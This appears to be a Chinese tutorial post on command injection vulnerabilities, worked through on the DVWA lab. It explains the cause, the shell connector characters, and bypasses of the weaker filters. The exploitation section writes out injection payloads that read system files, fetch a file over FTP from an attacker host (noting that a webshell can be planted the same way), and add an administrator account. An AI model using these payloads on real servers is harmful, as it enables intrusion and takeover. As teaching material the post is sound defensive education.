你好,各位小伙伴们,晚上好!我是你们的小编~
最近网络安全的话题真是热得不得了,连电视剧都开始蹭热度了。不知道大家有没有从中学到一些小技巧呢?
今天我们要聊的是命令执行漏洞的基础知识,一起来学习一下吧~
Part.1
什么是命令执行漏洞?
漏洞概述
在Web程序中,由于业务需求需要通过前端传递参数到后台服务器上执行命令。但如果开发人员没有对输入进行严格的过滤,攻击者就能构造一些带有非法目的的命令,欺骗后台服务器执行这些命令。
如果Web应用运行在root权限下,命令执行漏洞可能会导致攻击者在服务器上执行任意命令。
以DVWA平台的low安全等级为例,我们来看看这个漏洞的具体成因。漏洞页面如下:
输入IP地址并点击Submit,ping命令就会被执行:
查看后端代码:
首先通过php_uname('s')读取操作系统名,并与'Windows NT'对比以判断是否为Windows系统。
如果是Windows系统,则通过shell_exec()函数执行ping命令。
如果不是,则判断为Linux系统,执行ping -c 4命令。(因为Linux系统如果不指定发包数,ping会一直持续)
可以看到,这里没有对输入的'ip'参数进行任何过滤,因此存在命令执行漏洞。
在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig,结果如下:
ipconfig也被执行了,并且成功返回结果。
这就是一个简单的命令执行漏洞,如果web应用为root权限,我们还可以执行创建用户等各类操作。
常见的连接符
除了上面的&符,还有其他连接符,如下。
"|":前面命令的输出结果作为后面命令的输入内容;输入8.8.8.8|whoami:
"||":前面命令执行失败时才执行后面的命令;输入8.8.8.8||whoami:
"&":前面命令执行后接着执行后面的命令;
输入错误地址192.1.1.1&whoami:
"&&":前面命令执行成功时才执行后面的命令;
输入错误地址192.1.1.1&&whoami:
此外,Linux系统还可以使用";"号进行连接。
常用的命令执行函数
以PHP为例,常用的命令执行函数包括system、exec、shell_exec、passthru。
区别如下:
system:成功执行返回结果的最后一行,否则返回FALSEexec:成功执行返回结果的最后一行shell_exec:成功执行返回全部结果,否则返回NULLpassthru:把命令的运行结果原样地直接输出到标准输出设备接下来我们来看看DVWA平台,其他安全等级是如何防护和绕过的。
Part.2
漏洞的分析
Medium等级
后端代码:
Medium等级新增了str_replace()函数,将输入中的&&和;号替换为空。
但我们仍可以使用&、|、||等符号。
输入8.8.8.8&whoami绕过:
可以看到,这里采用了黑名单过滤的防护方式。
High等级
部分后端代码:
可以看到high等级过滤得更多了,但还是可以绕过,这里'| '里有个空格。
输入8.8.8.8|whoami,成功执行:
(强行留后门???)
Impossible等级
后端代码如下:
首先通过stripslashes()函数删除输入中的反斜杠。
然后通过explode()函数,以逗号为分隔符,对输入的内容进行分隔。
最后,使用is_numeric()函数,逐一检查分隔出的每一部分是不是数字。并且使用sizeof()函数判断分隔出来的内容是不是4部分,以此来判断用户输入的是不是IP。
白名单过滤,只有“数字.数字.数字.数字”类型的输入才会被执行,因此不存在命令执行漏洞了。
Part.3
漏洞的利用示例
读取指定目录内容
例如读取目录C:\windows\
输入8.8.8.8|dir C:\windows\
查看页面源代码:
读取指定文件内容
例如C:\windows\win.ini
输入8.8.8.8|type C:\windows\win.ini
查看网页源代码:
文件上传
在攻击者本地写一个php脚本,例如phpinfo.php,开启FTP服务。
输入8.8.8.8|echo open 192.168.211.1 > o&echo get phpinfo.php >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o
成功下载到服务器,如下:
尝试访问phpinfo.php,成功:
同理可上传webshell。
其他还包括创建管理员等操作,这里就不一一演示了:
127.0.0.1 | net user test 123 /add
127.0.0.1 | net localgroup administrators test /add
Part.4
漏洞的防御
漏洞的防御
1、对传入的命令进行严格的过滤
2、在后台对应用的权限进行控制,即使有漏洞,也不能执行高权限命令。
3、使用安全函数对输入转义
EscapeShellCmd()函数
EscapeShellArg()函数
Part.5
结束语
好啦,
以上就是【命令执行】命令执行漏洞总结v1.0的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号